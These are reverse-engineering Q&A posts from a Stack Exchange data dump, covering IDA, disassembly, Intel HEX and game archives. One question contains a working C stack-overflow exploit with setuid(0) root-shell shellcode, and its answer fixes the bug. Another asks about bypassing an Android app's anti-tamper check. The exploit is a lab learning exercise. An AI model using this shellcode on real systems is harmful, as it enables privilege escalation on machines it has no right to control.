  <row Id="15384" PostTypeId="1" AcceptedAnswerId="15386" CreationDate="2017-05-20T02:51:49.873" Score="1" ViewCount="1374" Body="&lt;p&gt;I tried to exploiting buffer overflow. In the exploit code&#xA;I use the &lt;code&gt;Aleph-One&lt;/code&gt; shellcode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&quot;&#xA;&quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot;&#xA;&quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Exploitation is normal, but I modified a little shellcode&#xA;In order to execute &lt;code&gt;setuid(0)&lt;/code&gt; and &lt;code&gt;setgid(0)&lt;/code&gt;, on exploit&#xA;I have changed the owner of the exploit into &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;\x31\xdb\x89\xd8\xb0\x17\xcd\x80&quot; // setuid(0)&#xA;&quot;\x31\xdb\x89\xd8\xb0\x2e\xcd\x80&quot; // setgid(0)&#xA;&quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&quot;&#xA;&quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot;&#xA;&quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When in execution, I get the message &lt;code&gt;Illegal Instruction (core dumped)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I have disabled ASLR&lt;/li&gt;&#xA;&lt;li&gt;The vulnerable and exploit programs are compiled using flag   &lt;code&gt;-fno-stack-protector -z execstack -mpreferred-stack-boundary=2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Complete exploit code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;char *prog = &quot;./bof4&quot;;&#xA;char shellcode[] = &#xA;   //&quot;\xeb\x0appssssffff&quot;&#xA;   &quot;\x31\xdb\x89\xd8\xb0\x17\xcd\x80&quot;&#xA;   &quot;\x31\xdb\x89\xd8\xb0\x2e\xcd\x80&quot;&#xA;   &quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&quot;&#xA;   &quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot;&#xA;   &quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;;&#xA;&#xA;int main (int argc, char **argv) {&#xA;    char buff[111];&#xA;    int i, j;&#xA;    int addr;&#xA;&#xA;    if (argc &amp;gt; 1)&#xA;            sscanf(*(argv+1), &quot;%x&quot;, &amp;amp;addr);&#xA;    else&#xA;            exit(0);&#xA;    for (i = 0; i &amp;lt; 35; i++) {&#xA;            *(buff+i) = 0x90;&#xA;    }&#xA;    for (j = 0; j &amp;lt; 45; j++, i++) {&#xA;            *(buff+i) = *(shellcode+j);&#xA;    }&#xA;    for (; i + 4 &amp;lt; 110; i += 4) {&#xA;            memcpy(buff+i, &amp;amp;addr, 4);&#xA;    }&#xA;    buff[108] = 0;&#xA;    fwrite(buff, strlen(buff), 1, stdout);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain ?&lt;/p&gt;&#xA;" OwnerUserId="14199" LastEditorUserId="14199" LastEditDate="2017-05-20T09:17:24.787" LastActivityDate="2017-05-20T09:17:24.787" Title="Why always get the message &quot;Illegal Instruction (core dumped)&quot;?" Tags="|x86|linux|exploit|buffer-overflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15385" PostTypeId="1" CreationDate="2017-05-20T05:44:21.790" Score="1" ViewCount="1027" Body="&lt;p&gt;I have a console game called Timesplitters Future Perfect(iso file). I were able to extract and got bunch of files. *.pak being one type I would like to open and see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I opened up a hex editor and saw that everyone started with P5CK with gibberish afterward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to extract an unknown archive file?&lt;/p&gt;&#xA;" OwnerUserId="20256" LastActivityDate="2017-06-19T08:41:52.680" Title="How to extract an unknown archive file? Currently Im trying to open *.pak (P5CK)" Tags="|linux|hex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15386" PostTypeId="2" ParentId="15384" CreationDate="2017-05-20T07:02:35.700" Score="0" Body="&lt;p&gt;Just by guessing as you has the core dump and could check that for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't your issue that the exploit was 45 bytes long and this is what you iterate in the second loop and now when you added more code (&lt;code&gt;setuid(0)&lt;/code&gt; &amp;amp; &lt;code&gt;setgid(0)&lt;/code&gt;) the loop just finishes in the middle? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extend your second loop by 16 and check.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for (j = 0; j &amp;lt; 61; j++, i++) {&#xA;    *(buff+i) = *(shellcode+j);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2017-05-20T07:02:35.700" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15387" PostTypeId="2" ParentId="15385" CreationDate="2017-05-20T08:04:27.110" Score="2" Body="&lt;p&gt;Xentax is a good reference on game format RE in general and they seem to already have some info on this one, as well as a QickBMS script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.xentax.com/index.php/Time_Splitters_Future_Perfect&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.xentax.com/index.php/Time_Splitters_Future_Perfect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see also &lt;a href=&quot;http://forum.xentax.com/viewtopic.php?t=1239&quot; rel=&quot;nofollow noreferrer&quot;&gt;the forum thread&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for general approaches on RE of unknown archive formats, check this blog:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://hackernoon.com/reverse-engineering-visual-novels-101-d0bc3bf7ab8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hackernoon.com/reverse-engineering-visual-novels-101-d0bc3bf7ab8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-05-20T08:04:27.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15389" PostTypeId="2" ParentId="15345" CreationDate="2017-05-20T12:18:26.003" Score="3" Body="&lt;p&gt;These constants are usually defined in the header file corresponds to the API function in use.&#xA;&lt;br&gt; &lt;br&gt;&#xA;You can discover the name of the header file by going into MSDN's SendMessageA page, and looking at the &lt;strong&gt;Header&lt;/strong&gt; row of the &lt;strong&gt;Requirements&lt;/strong&gt; table at the bottom.&#xA;&lt;br&gt;&lt;br&gt;&#xA;In this case, the relevant header is &lt;em&gt;Winuser.h&lt;/em&gt;, which you could find in the SDK corresponds to the development platform of the binary you're reversing. &lt;br&gt;&#xA;&lt;br&gt;&#xA;After looking at &lt;em&gt;Winuser.h&lt;/em&gt; and searching for the constant, you'll find the next definition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define WM_SETICON                      0x0080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This process is a bit tedious, but that's the most accurate way to interpret WINAPI constants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;Another thing you might do, if you use IDA for reversing, is to mark the constant and press &lt;code&gt;M&lt;/code&gt;(for &quot;Use standard symbolic constant&quot;).&#xA;&lt;br&gt;&lt;br&gt;&#xA;There, you could see all the possible constants that IDA resolved that match the value you marked, and filter that list by the context of the value. &lt;br&gt;In this case, since you know it corresponds to a &lt;strong&gt;W&lt;/strong&gt;indows &lt;strong&gt;M&lt;/strong&gt;essage, the constant name starting with WM should be the one you're looking for. (this name prefix information could also be located in the link you provided)&lt;/p&gt;&#xA;" OwnerUserId="2450" LastActivityDate="2017-05-20T12:18:26.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15391" PostTypeId="1" AcceptedAnswerId="15621" CreationDate="2017-05-20T13:49:32.913" Score="4" ViewCount="1128" Body="&lt;p&gt;Consider folowing example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;program code&#xA;&#xA;&#xA;build/program-x86:     file format elf32-i386&#xA;&#xA;Disassembly of section my_text:&#xA;&#xA;080a9dfc &amp;lt;subroutine_fnc&amp;gt;:&#xA; 80a9dfc:   55                      push   %ebp&#xA; 80a9dfd:   89 e5                   mov    %esp,%ebp&#xA; 80a9dff:   57                      push   %edi&#xA; 80a9e00:   56                      push   %esi&#xA; 80a9e01:   53                      push   %ebx&#xA; 80a9e02:   83 ec 14                sub    $0x14,%esp        // 20 bytes for local variables&#xA; 80a9e05:   c7 45 e0 00 00 00 00    movl   $0x0,-0x20(%ebp)  // zero local variable at address bp-0x20&#xA; 80a9e0c:   8d 7d f3                lea    -0xd(%ebp),%edi   // pointer in area of the local variables&#xA; 80a9e0f:   8b 75 0c                mov    0xc(%ebp),%esi    // 2. parameter&#xA; 80a9e12:   83 c6 30                add    $0x30,%esi        // add ascii ASCII '0' to the parameter&#xA;&#xA; 80a9e15:   ba 01 00 00 00          mov    $0x1,%edx         // constatnt 1&#xA; 80a9e1a:   8b 5d 08                mov    0x8(%ebp),%ebx    // 1. function parameter&#xA; 80a9e1d:   89 f9                   mov    %edi,%ecx         // local buffer&#xA; 80a9e1f:   b8 03 00 00 00          mov    $0x3,%eax         // syscall read&#xA; 80a9e24:   cd 80                   int    $0x80             // read(par1, ptr to local var, 1)&#xA; 80a9e26:   83 f8 01                cmp    $0x1,%eax         // return value is 1?&#xA; 80a9e29:   74 0c                   je     80a9e37 &amp;lt;subroutine_fnc+0x3b&amp;gt;  // yes&#xA; 80a9e2b:   bb 01 00 00 00          mov    $0x1,%ebx&#xA; 80a9e30:   b8 01 00 00 00          mov    $0x1,%eax&#xA; 80a9e35:   cd 80                   int    $0x80             // no exit(1)&#xA;&#xA; 80a9e37:   0f b6 45 f3             movzbl -0xd(%ebp),%eax   // expand value to 32 bits&#xA; 80a9e3b:   3c 2f                   cmp    $0x2f,%al         // is value &amp;lt; ASCII '0'&#xA; 80a9e3d:   7e 17                   jle    80a9e56 &amp;lt;subroutine_fnc+0x5a&amp;gt;  // yes end of the subroutine&#xA; 80a9e3f:   0f be d0                movsbl %al,%edx&#xA; 80a9e42:   39 f2                   cmp    %esi,%edx         // is value above &amp;gt;= par2 + '0'&#xA; 80a9e44:   7d 10                   jge    80a9e56 &amp;lt;subroutine_fnc+0x5a&amp;gt;  // yes =&amp;gt; end&#xA; 80a9e46:   8b 45 0c                mov    0xc(%ebp),%eax    // read again param2&#xA; 80a9e49:   0f af 45 e0             imul   -0x20(%ebp),%eax  // multiply ebp-0x20 by param2&#xA; 80a9e4d:   8d 54 10 d0             lea    -0x30(%eax,%edx,1),%edx // add result with read character - ASCII '0'&#xA; 80a9e51:   89 55 e0                mov    %edx,-0x20(%ebp)  // store result to the local variable at ebp-0x20&#xA; 80a9e54:   eb bf                   jmp    80a9e15 &amp;lt;subroutine_fnc+0x19&amp;gt;  // repeat&#xA;&#xA; 80a9e56:   8b 45 e0                mov    -0x20(%ebp),%eax  // function returns value from local variable at ebp-0x20&#xA; 80a9e59:   83 c4 14                add    $0x14,%esp&#xA; 80a9e5c:   5b                      pop    %ebx&#xA; 80a9e5d:   5e                      pop    %esi&#xA; 80a9e5e:   5f                      pop    %edi&#xA; 80a9e5f:   5d                      pop    %ebp&#xA; 80a9e60:   c3                      ret    &#xA;&#xA;080a9e61 &amp;lt;toplevel_fnc&amp;gt;:&#xA; 80a9e61:   55                      push   %ebp&#xA; 80a9e62:   89 e5                   mov    %esp,%ebp&#xA; 80a9e64:   57                      push   %edi&#xA; 80a9e65:   56                      push   %esi&#xA; 80a9e66:   53                      push   %ebx&#xA; 80a9e67:   83 ec 20                sub    $0x20,%esp         // reserve stack space for local variables&#xA; 80a9e6a:   c6 45 f3 41             movb   $0x41,-0xd(%ebp)   // store ASCII 'A' at ebp-0xd&#xA; 80a9e6e:   c7 44 24 04 0a 00 00    movl   $0xa,0x4(%esp)     // store 10 to the first 32-bit slot bellow stack top&#xA; 80a9e75:   00 &#xA; 80a9e76:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)        // store zero to the stack top&#xA; 80a9e7d:   e8 7a ff ff ff          call   80a9dfc &amp;lt;subroutine_fnc&amp;gt; // call subroutine_fnc(0,10)&#xA; 80a9e82:   89 c7                   mov    %eax,%edi          // store result&#xA; 80a9e84:   ba 80 01 00 00          mov    $0x180,%edx&#xA; 80a9e89:   b9 42 02 00 00          mov    $0x242,%ecx&#xA; 80a9e8e:   be 00 7f 0c 08          mov    $0x80c7f00,%esi    // setup pointer to &quot;data&quot;&#xA; 80a9e93:   89 f3                   mov    %esi,%ebx&#xA; 80a9e95:   b8 05 00 00 00          mov    $0x5,%eax          // syscall open&#xA; 80a9e9a:   cd 80                   int    $0x80              // open(&quot;data&quot;, 0x242, 0x180)&#xA; 80a9e9c:   89 45 dc                mov    %eax,-0x24(%ebp)   // store result to ebp-0x24&#xA; 80a9e9f:   85 c0                   test   %eax,%eax          // set flags according to the eax test&#xA; 80a9ea1:   79 0e                   jns    80a9eb1 &amp;lt;toplevel_fnc+0x50&amp;gt;  // sign is not set (&amp;gt;=0)&#xA; 80a9ea3:   b8 01 00 00 00          mov    $0x1,%eax&#xA; 80a9ea8:   89 c3                   mov    %eax,%ebx&#xA; 80a9eaa:   b8 01 00 00 00          mov    $0x1,%eax          // syscall exit&#xA; 80a9eaf:   cd 80                   int    $0x80              // exit(1)&#xA;&#xA; 80a9eb1:   89 7d e0                mov    %edi,-0x20(%ebp)   // store subroutine_fnc result into ebp-0x20&#xA; 80a9eb4:   8d 75 f3                lea    -0xd(%ebp),%esi    // ebp-0xd is pointer to the 'A' character&#xA; 80a9eb7:   eb 22                   jmp    80a9edb &amp;lt;toplevel_fnc+0x7a&amp;gt;&#xA;&#xA; 80a9eb9:   8b 5d dc                mov    -0x24(%ebp),%ebx   // fill ebx by open result (fd)&#xA; 80a9ebc:   89 f1                   mov    %esi,%ecx          // pointer to 'A'&#xA; 80a9ebe:   ba 01 00 00 00          mov    $0x1,%edx&#xA; 80a9ec3:   b8 04 00 00 00          mov    $0x4,%eax          // syscall write&#xA; 80a9ec8:   cd 80                   int    $0x80              // write(fd from open, &quot;A&quot;, 1)&#xA; 80a9eca:   85 c0                   test   %eax,%eax          // check result&#xA; 80a9ecc:   79 09                   jns    80a9ed7 &amp;lt;toplevel_fnc+0x76&amp;gt;&#xA; 80a9ece:   89 d3                   mov    %edx,%ebx          // setup sign&#xA; 80a9ed0:   b8 01 00 00 00          mov    $0x1,%eax&#xA; 80a9ed5:   cd 80                   int    $0x80              // exit(1)&#xA; 80a9ed7:   83 6d e0 01             subl   $0x1,-0x20(%ebp)   // subtract 1 from ebp-0x20&#xA; 80a9edb:   83 7d e0 00             cmpl   $0x0,-0x20(%ebp)   // value 0 reached&#xA; 80a9edf:   75 d8                   jne    80a9eb9 &amp;lt;toplevel_fnc+0x58&amp;gt; // no =&amp;gt; repeat&#xA;&#xA; 80a9ee1:   8b 5d dc                mov    -0x24(%ebp),%ebx   // fd from open syscall&#xA; 80a9ee4:   b8 06 00 00 00          mov    $0x6,%eax          // syscall close&#xA; 80a9ee9:   cd 80                   int    $0x80              // close(fd from open)&#xA; 80a9eeb:   85 c0                   test   %eax,%eax          // test result&#xA; 80a9eed:   79 0e                   jns    80a9efd &amp;lt;toplevel_fnc+0x9c&amp;gt;&#xA; 80a9eef:   b8 01 00 00 00          mov    $0x1,%eax&#xA; 80a9ef4:   89 c3                   mov    %eax,%ebx&#xA; 80a9ef6:   b8 01 00 00 00          mov    $0x1,%eax&#xA; 80a9efb:   cd 80                   int    $0x80              // for error exit exit(1)&#xA;&#xA; 80a9efd:   89 f8                   mov    %edi,%eax          // restore saved result of&#xA;                                                                  // subroutine_fnc call&#xA; 80a9eff:   83 c4 20                add    $0x20,%esp&#xA; 80a9f02:   5b                      pop    %ebx&#xA; 80a9f03:   5e                      pop    %esi&#xA; 80a9f04:   5f                      pop    %edi&#xA; 80a9f05:   5d                      pop    %ebp&#xA; 80a9f06:   c3                      ret    &#xA;&#xA;program data&#xA;&#xA;&#xA;build/program-x86:     file format elf32-i386&#xA;&#xA;Contents of section my_data:&#xA; 80c7f00 64617461 00                          data.           &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I, in general, learn what arguments does &lt;code&gt;subroutine_fnc&lt;/code&gt; use? I am interested in general approach to this. I understand it may not always be 100% possible, but I'm interesting in learning the basics at least.&lt;/p&gt;&#xA;" OwnerUserId="11543" LastActivityDate="2017-06-24T19:49:18.293" Title="How to figure out method argument sizes and types in elf32-i386 disasembly?" Tags="|disassembly|arguments|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15392" PostTypeId="2" ParentId="15351" CreationDate="2017-05-20T14:12:10.750" Score="5" Body="&lt;p&gt;Best free tool for the job is ILSpy, but it runs on Windows. This gives you a limited list of options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;create a windows virtual machine (with virtualbox or vmware player) and run it in there&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;install WINE on mac, to allow you run .exe files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;get visual studio for mac and use ikdasm&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if you feel hardcore, open it in a disassembler ;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Being an IT guy myself, I would go for the first solution. Check them all out briefly and go for one!&lt;/p&gt;&#xA;" OwnerUserId="12537" LastEditorUserId="12537" LastEditDate="2017-05-21T08:22:58.160" LastActivityDate="2017-05-21T08:22:58.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15394" PostTypeId="1" AcceptedAnswerId="15395" CreationDate="2017-05-21T03:07:15.247" Score="1" ViewCount="4098" Body="&lt;p&gt;I'm reverse engineering an Android app, and it has some kind of anti-tamper protection. The problem is that I can't find it anywhere in the smali files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if I just re-sign the official APK that I downloaded straight from the Play Store, it detects that it has been tampered with, so it must either be checking file sizes or signatures. I've grepped all the smali files for things like &quot;signature&quot; and &quot;getPackageInfo&quot; to try and find where it's getting the signature from, but I cannot find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other methods are there to figure out if the APK has been re-signed, even when nothing else has been altered? It is not using SafetyNet.&lt;/p&gt;&#xA;" OwnerUserId="20269" LastActivityDate="2017-05-21T05:58:16.490" Title="Anti-tampering techniques in Android APK's" Tags="|android|java|apk|dalvik|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15395" PostTypeId="2" ParentId="15394" CreationDate="2017-05-21T05:58:16.490" Score="2" Body="&lt;p&gt;Your best bet is to just start reading through the code and see everything it does. It almost certainly is checking signatures, just in a way that your search missed. That could be because it is using an API you didn't search for, or because the code is obfuscated, or because you messed up the search. Note that there are a lot of APIs that could be used to get information about the app. For example, it could be using the JarFile getResource() API. The most reliable method is to just read the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also don't forget to look in the native code, if any! You can check whether the app is using native code by looking in the libs folder. This is a bit of a longshot though, since most programmers are too lazy to write native code. If they are doing the checks in native code, it's probably an off the shelf packer/obfuscator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For completeness, I should mention that there are several features of an app that depend on its signature. For example, it could be using a signature based permission or a shared userid, each of which would break if you resigned the app. I've never heard of these being used for tamper detection though.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2017-05-21T05:58:16.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15396" PostTypeId="1" AcceptedAnswerId="17651" CreationDate="2017-05-21T11:07:32.473" Score="1" ViewCount="973" Body="&lt;p&gt;I'm trying to write a Python script for IDA that hooks into debugging events, and prints some info about the xmm registers. I tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idc.GetRegValue(&quot;xmm0&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that returns a random long, which changes every time I call the function. I looked at the &lt;a href=&quot;https://github.com/idapython/src/blob/62ddab8db6929edbea8d2016e4659cf7cc62aa88/python/idc.py#L7906&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;, and it looks like &lt;code&gt;GetRegValue&lt;/code&gt; is always returning an integer value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried running the underlying code directly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rv = idaapi.regval_t()&#xA;idaapi.get_reg_val(&quot;xmm0&quot;, rv)&#xA;print (rv.fval)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which prints:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Swig Object of type 'UINT16 *' at 0x073E1F08&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There does not appear to be a way to extract a float from that either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I actually get the value of an xmm register?&lt;/p&gt;&#xA;" OwnerUserId="20272" LastActivityDate="2018-03-10T16:49:17.487" Title="Accesssing xmm registers in IDAPython" Tags="|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15397" PostTypeId="1" CreationDate="2017-05-21T13:21:38.423" Score="1" ViewCount="940" Body="&lt;p&gt;I'm new with IDA pro and have little problem. Right click on some data in &lt;code&gt;.rdata&lt;/code&gt; brings options in which I can convert, In that window D means decimal B means binary and so on, but I have multiple Ds in which I can convert, and the values in which it can be converted are different, what is the difference between this Ds? Here is the picture&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EZIHP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EZIHP.png&quot; alt=&quot;for example&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;thanks :)&lt;/p&gt;&#xA;" OwnerUserId="20273" LastEditorUserId="-1" LastEditDate="2023-05-06T17:59:56.817" LastActivityDate="2023-05-06T17:59:56.817" Title="IDA Pro: Converting structure to decimal" Tags="|ida|disassembly|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15398" PostTypeId="2" ParentId="15397" CreationDate="2017-05-21T14:05:24.243" Score="1" Body="&lt;p&gt;If I remember correctly this is the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/453.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;MakeData&lt;/a&gt; command. So it will change the data type that is used to display the values you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you check closely you would notice that from the bottom the pattern is: &lt;code&gt;byte&lt;/code&gt;, &lt;code&gt;word&lt;/code&gt;, &lt;code&gt;dword&lt;/code&gt;, &lt;code&gt;qword&lt;/code&gt;. Those two at the top are probably the two are some forms of float/real numbers created from the data you're trying to convert.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2017-05-21T14:05:24.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15401" PostTypeId="2" ParentId="15298" CreationDate="2017-05-22T08:04:10.547" Score="5" Body="&lt;p&gt;On &lt;a href=&quot;https://i.stack.imgur.com/aHT3r.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;this photo&lt;/a&gt; you can see there are two &quot;layers&quot; in this chip separated by a matrix of solder balls. This is &lt;a href=&quot;https://en.wikipedia.org/wiki/Package_on_package&quot; rel=&quot;nofollow noreferrer&quot;&gt;package on package&lt;/a&gt; — a method used to save board space. The actual processor is hidden under the RAM chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/0/08/ASIC_%2B_Memory_PoP_Schematic.JPG/960px-ASIC_%2B_Memory_PoP_Schematic.JPG&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at Raspberry Pi Zero — you won't find SoC there either! The chip there has Elpida label, which is a RAM manufacturer, and the SoC itself is under there.&lt;/p&gt;&#xA;" OwnerUserId="13606" LastEditorUserId="13606" LastEditDate="2017-05-22T18:54:42.180" LastActivityDate="2017-05-22T18:54:42.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15405" PostTypeId="1" CreationDate="2017-05-22T18:40:10.387" Score="1" ViewCount="474" Body="&lt;p&gt;I was working on a USB thumbwheel bootloader and  reading in a number of records successfully, but around 2000 bytes it throws a check_sum error.  I initially figured it had to be my code, but having finally nailed down the offending records in the Hex file, I am even more puzzled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few extracts (below) of the lines of code in the hex file that is causing the problem.  They all show the data length field as zero. Now to be best of my knowledge the only type of file in the INTEL HEX format that should have a data length of zero should be the end of file record, the very last one which has a format of:  :00000001FF  // End oF File Record.  The two zeros after the colon &quot;:&quot; indicating the number of bytes in the data field – zero - since there are none in an EOF record.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, extracted from my code are following 3 examples of code with &quot;:00&quot; that are not end of file records and in searching the internet, I can find no indication of what they may be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, the code compiles and hex code I load runs fine on the board.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:1094F00044E3400B000000703EE5400B00000070AC&#xA;:009500006B  &amp;lt;&amp;lt;&amp;lt;&amp;lt; not EOF record so what is it?&#xA;:102F1C0081BF1E3C00F2C283C418027C81BF1E3CE0&#xA;.&#xA;&#xA;:105B5400FFFF0234748822A40800E00300000070F0&#xA;:005B640041  &amp;lt;&amp;lt;&amp;lt;&amp;lt;not EOF record so what is it?&#xA;:104E5C00F4FFBD270000BFAF0400B9AF8594400F2D&#xA;.&#xA;:104F5C000400B98F0000BF8F0800E0030C00BD27D0&#xA;:004F6C0045  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;not EOF record so what is it?&#xA;:020000041D01DC&#xA;.&#xA;:020000041FC01B&#xA;:102FF000000007C07505000003E606000FF00F1182&#xA;:00000001FF  // End of File Record&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="20288" LastEditorUserId="12260" LastEditDate="2017-05-24T17:40:51.187" LastActivityDate="2018-04-10T18:17:15.373" Title="Unknown record type in Intel Hex file" Tags="|decompilation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15406" PostTypeId="1" CreationDate="2017-05-22T19:30:54.590" Score="2" ViewCount="1890" Body="&lt;p&gt;I'm new with IDA pro and currently running with debugger, I have few questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I jump on previous instruction? Undo the latest instruction ?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible in IDA to examine memory of an executable ? Like it is in Immunity Debugger? Something like &lt;a href=&quot;https://i.stack.imgur.com/6weo6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; and examine each segment briefly like it is in Immunity Debugger ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20274" LastEditorUserId="53" LastEditDate="2017-05-26T16:46:08.697" LastActivityDate="2018-06-21T17:32:54.960" Title="IDA pro: jump back to previous instruction" Tags="|ida|debugging|c|immunity-debugger|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
